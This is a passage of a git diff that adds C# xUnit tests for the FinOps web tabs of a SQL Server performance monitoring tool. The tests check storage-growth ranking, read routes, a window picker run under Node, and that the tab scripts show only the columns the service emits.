+                var table = i == 14 ? "ZNull" : (i < 14 ? "Shrink" : "New") + i.ToString("D2");
+                foreach (var d in i < 14 ? new[] { 29, 0 } : new[] { 0 })
+                {
+                    await DarlingMcpTestData.ExecAsync(c, ct,
+                        @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows, user_seeks, user_scans, user_lookups, user_updates)
+                          VALUES ($1,$2,$3,$4,'Gamma','dbo',$5,$6,1,'PK','CLUSTERED',$7,$7,1000,0,0,0,0)",
+                        CollectionIdGenerator.Next(), now.Date.AddDays(-d).AddMinutes(10), ServerId, ServerName, 500 + i, table, i == 14 ? (decimal?)null : d == 29 ? 500m + i : 100m + i);
+                }
+            }
+        }
+
+        using var doc = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "Gamma", cancellationToken: ct));
+        var objects = doc.RootElement.GetProperty("objects");
+        /* The desktop's order counts the unknown size as 0: the 5 new tables by size (115..119), then dbo.ZNull (0), then the 14 shrinking ones (all -400, key ordinal inside the tie); the first 10 are the 5 new, largest first, dbo.ZNull and the 4 least shrunk.
+           The SQL order alone puts the null growth last, so without the re-rank dbo.ZNull would not be among the first 10. */
+        var expected = Enumerable.Range(15, 5).Reverse().Select(i => "dbo.New" + i.ToString("D2"))
+            .Concat(new[] { "dbo.ZNull", "dbo.Shrink00", "dbo.Shrink01", "dbo.Shrink02", "dbo.Shrink03" }).ToArray();
+        Assert.Equal(expected, objects.GetProperty("rows").EnumerateArray().Select(r => r.GetProperty("object_name").GetString()).ToArray());
+        Assert.Equal(20, objects.GetProperty("object_count").GetInt32());
+        Assert.True(objects.GetProperty("truncated").GetBoolean());
+    }
+
+    [Fact]
+    public async Task PostgresServer_IsExactlyNotCollected()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var expected = await DarlingEngineCapability.NotCollectedStatusAsync(ds, PostgresServerId, PostgresServerName, "database_size_stats", ct);
+        Assert.Equal("not_collected", JsonDocument.Parse(expected!).RootElement.GetProperty("status").GetString());
+        Assert.Equal(expected, await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", PostgresServerName, 24, 10, cancellationToken: ct));
+        Assert.Equal(expected, await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", PostgresServerName, 24, 10, "Alpha", cancellationToken: ct));
+        /* The indexes level on a gated engine says not collected, not that the table is outside the top 20. */
+        var indexes = await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", PostgresServerName, 24, 10, "Alpha", object_name: "dbo.Big", cancellationToken: ct);
+        Assert.Equal("not_collected", JsonDocument.Parse(indexes).RootElement.GetProperty("status").GetString());
+        Assert.Equal(expected, indexes);
+    }
+
+    [Fact]
+    public async Task DatabaseNotInTheSnapshot_HasAnEmptyDatabaseSection()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "NoSuchDb", cancellationToken: ct));
+        Assert.Equal("objects", doc.RootElement.GetProperty("level").GetString());
+        Assert.Equal("empty", doc.RootElement.GetProperty("database").GetProperty("status").GetString());
+        Assert.Equal(JsonValueKind.Null, doc.RootElement.GetProperty("database").GetProperty("row").ValueKind);
+        Assert.Equal("empty", doc.RootElement.GetProperty("objects").GetProperty("status").GetString());
+    }
+
+    [Fact]
+    public async Task ReadRoute_ReturnsTheToolsBody_AtAllThreeLevels()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(ds);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, ds, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+
+        async Task<string> Route(string extra)
+        {
+            var context = await server.SendAsync(request =>
+            {
+                request.Request.Method = "GET";
+                request.Request.Path = "/api/read/get_finops";
+                request.Request.QueryString = new QueryString($"?server={ServerName}&view=storage_growth&hours=24{extra}");
+                request.Request.Headers.Host = "localhost";
+            });
+            Assert.Equal(StatusCodes.Status200OK, context.Response.StatusCode);
+            using var reader = new StreamReader(context.Response.Body);
+            return await reader.ReadToEndAsync(ct);
+        }
+
+        foreach (var (extra, database, objectName) in new (string, string?, string?)[]
+        {
+            ("", null, null),
+            ("&database_name=Alpha", "Alpha", null),
+            ("&database_name=Alpha&object_name=dbo.Big", "Alpha", "dbo.Big"),
+        })
+        {
+            var body = await Route(extra);
+            var tool = await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, database, object_name: objectName, cancellationToken: ct);
+            using var actual = JsonDocument.Parse(body);
+            using var expected = JsonDocument.Parse(tool);
+            Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), $"route and tool differ at {extra}");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsStorageGrowthWindowBehaviourTests.cs b/Darling/Darling.Tests/FinOpsStorageGrowthWindowBehaviourTests.cs
new file mode 100644
index 0000000000..05ed63e65c
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsStorageGrowthWindowBehaviourTests.cs
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The window select on the FinOps Storage Growth tab, run from the shipped page script under Node
+/// (<c>finops-storage-growth-window-harness.mjs</c>): the databases level has no select and reads 24 hours; the objects level
+/// has a 7/30/90-day select that reads days x 24 hours (720 by default), a pick re-reads, the pick survives the 60 s rebuild for
+/// the same server, and another server starts at 30 days. Node is skipped when it is not installed.
+/// </summary>
+public sealed class FinOpsStorageGrowthWindowBehaviourTests
+{
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "finops-storage-growth-window-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the storage growth window harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the storage growth window harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Hours(JsonElement step) => step.GetProperty("reads").EnumerateArray().Select(e => e.GetProperty("hours").GetString()!).ToArray();
+
+    private static string?[] Limits(JsonElement step) => step.GetProperty("reads").EnumerateArray().Select(e => e.GetProperty("limit").GetString()).ToArray();
+
+    [Fact]
+    public void TheDatabasesLevelHasNoSelectAndReadsTwentyFourHours()
+    {
+        var d = Run().GetProperty("databases");
+        Assert.Equal(new[] { "24" }, Hours(d));
+        Assert.Equal(0, d.GetProperty("selects").GetInt32());
+    }
+
+    [Fact]
+    public void TheDatabasesLevelAsksForFiveHundredDatabases_AndTheObjectsLevelForTwenty()
+    {
+        var run = Run();
+        // #5238: the databases list is the desktop's every-database grid, so the tab asks for the most the service takes at this level.
+        Assert.Equal(new[] { "500" }, Limits(run.GetProperty("databases")));
+        Assert.Equal(new[] { "500" }, Limits(run.GetProperty("other")));
+        Assert.Equal(new[] { "20" }, Limits(run.GetProperty("objects")));
+    }
+
+    [Fact]
+    public void TheObjectsLevelDefaultsToThirtyDays_AndEachPickSendsDaysTimes24()
+    {
+        var run = Run();
+        var objects = run.GetProperty("objects");
+        Assert.Equal(new[] { "720" }, Hours(objects));
+        // #5562 R5: the Compact rolling-only picker, whole days, reach 2160 hours for this view (not the catalog entry's 168).
+        Assert.Equal("Past week,Past 30 days,Past 90 days", string.Join(",", objects.GetProperty("options").EnumerateArray().Select(e => e.GetString())));
+        var refused = objects.GetProperty("refused");
+        Assert.Equal("This page reads whole days back from now, such as 7d or 30d.", refused.GetProperty("hours").GetString());
+        Assert.Equal("This page reads a length back from now, so pick a rolling length such as 24h or 7d.", refused.GetProperty("calendar").GetString());
+        Assert.Equal("This page's reads reach at most 90 days back.", refused.GetProperty("tooLong").GetString());
+        /* Review r1 H1: 1 day would read the server's 30-day default and 2 to 6 days are refused by the read, so neither is offered. */
+        Assert.Equal("This page reads at least 7d back from now.", refused.GetProperty("tooShort").GetString());
+        Assert.Equal("This page reads at least 7d back from now.", refused.GetProperty("oneDay").GetString());
+        Assert.Equal("Past 30 days", objects.GetProperty("value").GetString());
+
+        Assert.Equal(new[] { "2160" }, Hours(run.GetProperty("picked90")));
+        Assert.Equal("Past 90 days", run.GetProperty("picked90").GetProperty("value").GetString());
+        Assert.Equal(new[] { "168" }, Hours(run.GetProperty("picked7")));
+        Assert.Equal("Past week", run.GetProperty("picked7").GetProperty("value").GetString());
+    }
+
+    [Fact]
+    public void ThePickSurvivesARebuildForTheSameServer_AndAnotherServerStartsAtThirtyDays()
+    {
+        var run = Run();
+        var rebuilt = run.GetProperty("rebuilt");
+        Assert.Equal(new[] { "168" }, Hours(rebuilt));
+        Assert.Equal("Past week", rebuilt.GetProperty("value").GetString());
+
+        Assert.Equal(new[] { "24" }, Hours(run.GetProperty("other")));
+        var otherObjects = run.GetProperty("otherObjects");
+        Assert.Equal(new[] { "720" }, Hours(otherObjects));
+        Assert.Equal("Past 30 days", otherObjects.GetProperty("value").GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsSubTabIndexPinTests.cs b/Darling/Darling.Tests/FinOpsSubTabIndexPinTests.cs
index 0025ea416c..3a171f9a29 100644
--- a/Darling/Darling.Tests/FinOpsSubTabIndexPinTests.cs
+++ b/Darling/Darling.Tests/FinOpsSubTabIndexPinTests.cs
@@ -31,6 +31,7 @@ namespace Darling.Tests;
 /// so a runtime check would need the app. The two files are parsed the same way the #1949 grid pins parse
 /// theirs.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class FinOpsSubTabIndexPinTests
 {
     /// <summary>Constant name suffix stripped to give the header it must correspond to.</summary>
diff --git a/Darling/Darling.Tests/FinOpsTabApplicationConnectionsPageTests.cs b/Darling/Darling.Tests/FinOpsTabApplicationConnectionsPageTests.cs
new file mode 100644
index 0000000000..dc60b63ef3
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabApplicationConnectionsPageTests.cs
@@ -0,0 +1,135 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Application Connections tab: it reads get_finops with view application_connections and shows only columns that read emits.</summary>
+public sealed class FinOpsTabApplicationConnectionsPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "application-connections.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.ApplicationConnections.cs")
+            .ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheTabReadsGetFinOpsWithTheApplicationConnectionsViewWindow()
+    {
+        // Pins the exact read: the view refuses a non-default limit, so sending one would turn every load into a refusal.
+        const string call = "readTool(\"get_finops\", { server, view: \"application_connections\", hours: HOURS }, ctx && ctx.signal)";
+        var tab = Tab();
+        Assert.Contains(call, tab);
+    }
+
+    [Fact]
+    public void TheTabHasNoWindowPickerAndSaysItIs24HoursLikeTheDesktopHeader()
+    {
+        var tab = Tab();
+        Assert.Contains("el(\"h3\", { text: \"Application Connections (24h)\" })", tab);
+        Assert.DoesNotContain("<select", tab);
+        Assert.DoesNotContain("\"select\"", tab);
+    }
+
+    [Fact]
+    public void TheWindowIs24HoursAndThereIsNoLimitConstant()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^const HOURS = 24;$", tab);
+        Assert.DoesNotContain("LIMIT", tab);
+    }
+
+    private static string RowSlice()
+    {
+        var source = ToolSource();
+        var start = source.IndexOf("internal static object ApplicationConnectionsRow(", System.StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = source.IndexOf("\n    };", start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return source.Substring(start, end - start);
+    }
+
+    [Fact]
+    public void EveryShownColumnKeyIsEmittedByTheApplicationConnectionsRow()
+    {
+        var keys = Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+        var row = RowSlice();
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", row);
+        var emitted = Regex.Matches(row, "(?m)^\\s+[a-z_]+ = ").Count;
+        Assert.Equal(20, emitted);
+        Assert.Equal(emitted, keys.Count);
+    }
+
+    [Fact]
+    public void TheColumnsAreInTheDesktopGridOrder()
+    {
+        // Source of the order: the Application Connections grid in Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml; this is that grid's column order.
+        var keys = Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value);
+        Assert.Equal(
+            "application_name,avg_connections,max_connections,avg_running,max_running,avg_sleeping,max_sleeping,avg_dormant,max_dormant,avg_cpu_time_ms,max_cpu_time_ms,avg_reads,max_reads,avg_writes,max_writes,avg_logical_reads,max_logical_reads,sample_count,first_seen_utc,last_seen_utc",
+            string.Join(",", keys));
+        Assert.Contains("{ key: \"avg_cpu_time_ms\", label: \"Avg CPU\", format: \"ms\" }", Tab());
+        Assert.Contains("{ key: \"max_cpu_time_ms\", label: \"Max CPU\", format: \"ms\" }", Tab());
+        Assert.Contains("{ key: \"first_seen_utc\", label: \"First seen\", format: \"time\" }", Tab());
+        Assert.Contains("{ key: \"last_seen_utc\", label: \"Last seen\", format: \"time\" }", Tab());
+    }
+
+    [Fact]
+    public void TheNoticeCountsTheRowsReturnedAndTakesTheWindowFromTheAnswer()
+    {
+        var tab = Tab();
+        Assert.Contains("(data.rows || []).length", tab);
+        Assert.Contains("(n === 1 ? \"1 application\" : n + \" applications\") + \", last \" + (data.hours_back ?? HOURS) + \" hours\";", tab);
+    }
+
+    [Fact]
+    public void TheTruncatedNoticeNamesTheShownCountThenTheTotal()
+    {
+        Assert.Contains(
+            "text += data.truncated ? \"; the top \" + n + \" of \" + (data.application_count ?? \"more\") + \" applications by peak connections.\" : \".\";",
+            Tab());
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandledAbortedAndAuthReturnAndEmptyShowsItsMessage()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return mount\\(body, gatedEmptyStrip\\(res, ctx\\)\\);$", tab);
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "./gate.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+
+    [Fact]
+    public void TheErrorAndRenderFailureStatesAreHandled()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"error\"\\) return mount\\(body, readErrorStrip\\(res\\.message\\)\\);$", tab);
+        Assert.Contains("Could not render this tab: ", tab);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabDatabaseResourcesPageTests.cs b/Darling/Darling.Tests/FinOpsTabDatabaseResourcesPageTests.cs
new file mode 100644
index 0000000000..06b2fe1a43
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabDatabaseResourcesPageTests.cs
@@ -0,0 +1,145 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Database Resources tab: it reads get_finops with view database_resources and shows only columns that read emits.</summary>
+public sealed class FinOpsTabDatabaseResourcesPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "database-resources.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.DatabaseResources.cs")
+            .ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheTabReadsGetFinOpsWithTheDatabaseResourcesViewWindow()
+    {
+        // The exact call is a no-noise guard: a limit would only cap the top lists, which this tab does not show.
+        const string call = "readTool(\"get_finops\", { server, view: \"database_resources\", hours }, ctx && ctx.signal)";
+        var tab = Tab();
+        Assert.Contains(call, tab);
+    }
+
+    [Fact]
+    public void ThePickerOffersTheDesktopWindowsInOrder()
+    {
+        // #5562 R5: the shared picker in its Compact, rolling-only form (finops/window.js), not a hand-listed select.
+        var tab = Tab();
+        Assert.DoesNotContain("WINDOWS", tab);
+        Assert.Contains("finopsWindowControl({ hours: HOURS, onChange: (hours) => load(hours) })", tab);
+    }
+
+    [Fact]
+    public void TheChangeHandlerRereadsWithTheChosenHoursAndTheFirstReadUsesTheDefault()
+    {
+        var tab = Tab();
+        Assert.Contains("(hours) => load(hours)", tab);
+        Assert.Contains("load(HOURS);", tab);
+    }
+
+    [Fact]
+    public void ThePickerUsesNoInnerHtml()
+    {
+        Assert.DoesNotContain("innerHTML", Tab());
+    }
+
+    [Fact]
+    public void TheWindowDefaultsTo24HoursAndThereIsNoLimitConstant()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^const HOURS = 24;$", tab);
+        Assert.DoesNotContain("LIMIT", tab);
+    }
+
+    private static string RowSlice()
+    {
+        var source = ToolSource();
+        var start = source.IndexOf("internal static object DatabaseResourcesRow(", System.StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = source.IndexOf("\n    };", start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return source.Substring(start, end - start);
+    }
+
+    [Fact]
+    public void EveryShownColumnKeyIsEmittedByTheDatabaseResourcesRow()
+    {
+        var keys = Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+        var row = RowSlice();
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", row);
+        var emitted = Regex.Matches(row, "(?m)^\\s+[a-z_]+ = ").Count;
+        Assert.Equal(11, emitted);
+        Assert.Equal(emitted, keys.Count);
+    }
+
+    [Fact]
+    public void TheColumnsAreInTheDesktopGridOrder()
+    {
+        var keys = Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value);
+        Assert.Equal(
+            "database_name,cpu_time_ms,cpu_share_pct,logical_reads,physical_reads,logical_writes,execution_count,io_read_mb,io_write_mb,io_share_pct,io_stall_ms",
+            string.Join(",", keys));
+        Assert.Contains("{ key: \"io_stall_ms\", label: \"I/O stall\", format: \"ms\" }", Tab());
+    }
+
+    [Fact]
+    public void TheNoticeCountsTheRowsReturnedAndTakesTheWindowFromTheAnswer()
+    {
+        var tab = Tab();
+        Assert.Contains("(data.rows || []).length", tab);
+        Assert.Contains("(n === 1 ? \"1 database\" : n + \" databases\") + \", last \" + (data.hours_back ?? HOURS) + \" hours\";", tab);
+    }
+
+    [Fact]
+    public void TheTruncatedNoticeNamesTheShownCountThenTheTotal()
+    {
+        Assert.Contains(
+            "text += data.truncated ? \"; the top \" + n + \" of \" + data.database_count + \" databases by CPU, then I/O.\" : \".\";",
+            Tab());
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandledAbortedAndAuthReturnAndEmptyShowsItsMessage()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return mount\\(body, gatedEmptyStrip\\(res, ctx\\)\\);$", tab);
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "./gate.js", "./window.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+
+    [Fact]
+    public void TheErrorAndRenderFailureStatesAreHandled()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"error\"\\) return mount\\(body, readErrorStrip\\(res\\.message\\)\\);$", tab);
+        Assert.Contains("Could not render this tab: ", tab);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabDatabaseSizesPageTests.cs b/Darling/Darling.Tests/FinOpsTabDatabaseSizesPageTests.cs
new file mode 100644
index 0000000000..bb0282cf57
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabDatabaseSizesPageTests.cs
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Database Sizes tab: it reads the get_finops database_sizes view and shows only columns that view emits.</summary>
+public sealed class FinOpsTabDatabaseSizesPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "database-sizes.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ViewSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.DatabaseSizes.cs")
+            .ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheTabReadsTheDatabaseSizesViewOfGetFinOpsForTheServer()
+    {
+        var tab = Tab();
+        Assert.Contains("readTool(\"get_finops\", { server, view: \"database_sizes\", limit: MAX_FILES }, ctx && ctx.signal)", tab);
+        Assert.DoesNotContain("get_database_sizes", tab);
+        var tabMax = Regex.Match(tab, "const MAX_FILES = (\\d+);").Groups[1].Value;
+        var viewMax = Regex.Match(ViewSource(), "int MaxDatabaseSizeRows = (\\d+);").Groups[1].Value;
+        Assert.NotEmpty(viewMax);
+        Assert.Equal(viewMax, tabMax);
+        Assert.Contains("DatabaseSizesView = \"database_sizes\"", ViewSource());
+    }
+
+    [Fact]
+    public void EveryShownColumnKeyIsEmittedByTheViewRow()
+    {
+        var keys = Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(keys);
+        var source = ViewSource();
+        var rowSlice = source[source.IndexOf("DatabaseSizesRow(DatabaseSizeFileDto", StringComparison.Ordinal)..];
+        var rowNoteKey = Regex.Match(
+            ReadRepoFile("PerformanceMonitor.Common", "AzureSiblingDatabaseSize.cs"),
+            "const string RowNoteKey = \"([a-z_]+)\"").Groups[1].Value;
+        Assert.NotEmpty(rowNoteKey);
+        foreach (var key in keys)
+        {
+            if (key == rowNoteKey)
+                Assert.Contains("[AzureSiblingDatabaseSize.RowNoteKey]", rowSlice);
+            else
+                Assert.Contains("[\"" + key + "\"]", rowSlice);
+        }
+        foreach (var added in new[] { "auto_growth_mb", "free_space_mb", "used_pct", "recovery_model", "vlf_count", "monthly_cost_usd" })
+            Assert.Contains(added, keys);
+    }
+
+    [Fact]
+    public void AnAbortedReadReturnsBeforeAnythingIsMounted()
+    {
+        var tab = Tab();
+        Assert.Contains("if (res.kind === \"aborted\" || res.kind === \"auth\") return;", tab);
+    }
+
+    [Fact]
+    public void AMaxSizeOfMinusOneShowsUnlimitedAndTheCaptureTimeIsFormatted()
+    {
+        var tab = Tab();
+        Assert.Contains("row.max_size_mb === -1 ? \"Unlimited\"", tab);
+        Assert.Contains("\"Disabled\"", tab);
+        Assert.Contains("relTime(data.captured_at)", tab);
+        Assert.Contains("localTime(data.captured_at)", tab);
+        Assert.Contains("e?.name !== \"AbortError\"", tab);
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "./gate.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheTabIsNoLongerTheStub()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabHighImpactPageTests.cs b/Darling/Darling.Tests/FinOpsTabHighImpactPageTests.cs
new file mode 100644
index 0000000000..3edf9a168a
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabHighImpactPageTests.cs
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps High Impact tab: it reads get_finops with view high_impact and shows only columns that read emits.</summary>
+public sealed class FinOpsTabHighImpactPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "high-impact.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.HighImpact.cs")
+            .ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheTabReadsGetFinOpsWithTheHighImpactViewWindowAndLimit()
+    {
+        Assert.Contains("readTool(\"get_finops\", { server, view: \"high_impact\", hours, limit: LIMIT }, ctx && ctx.signal)", Tab());
+    }
+
+    [Fact]
+    public void ThePickerOffersTheDesktopWindowsAndTheStateIsKeptPerServer()
+    {
+        var tab = Tab();
+        // #5562 R5: the shared picker in its Compact, rolling-only form (finops/window.js), not a hand-listed select.
+        Assert.DoesNotContain("WINDOWS", tab);
+        Assert.Contains("finopsWindowControl({ hours: start, onChange: (hours) => load(hours) })", tab);
+        Assert.Contains("const chosenHours = new Map();", tab);
+        Assert.Contains("chosenHours.set(server, hours);", tab);
+        Assert.Contains("chosenHours.get(server) ?? HOURS", tab);
+        Assert.Contains("(hours) => load(hours)", tab);
+        Assert.DoesNotContain("innerHTML", tab);
+    }
+
+    [Fact]
+    public void EveryShownColumnKeyIsEmittedByTheTool()
+    {
+        var keys = Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(keys);
+        var source = ToolSource();
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", source);
+    }
+
+    [Fact]
+    public void TheNoticeCountsTheRowsReturnedAndTakesTheWindowFromTheAnswer()
+    {
+        var tab = Tab();
+        Assert.DoesNotContain("\"Top \" + LIMIT", tab);
+        Assert.Contains("queries in the top ", tab);
+        Assert.Contains("data.hours_back", tab);
+        Assert.Contains("(data.rows || []).length", tab);
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandledAbortedAndAuthReturnAndEmptyShowsItsMessage()
+    {
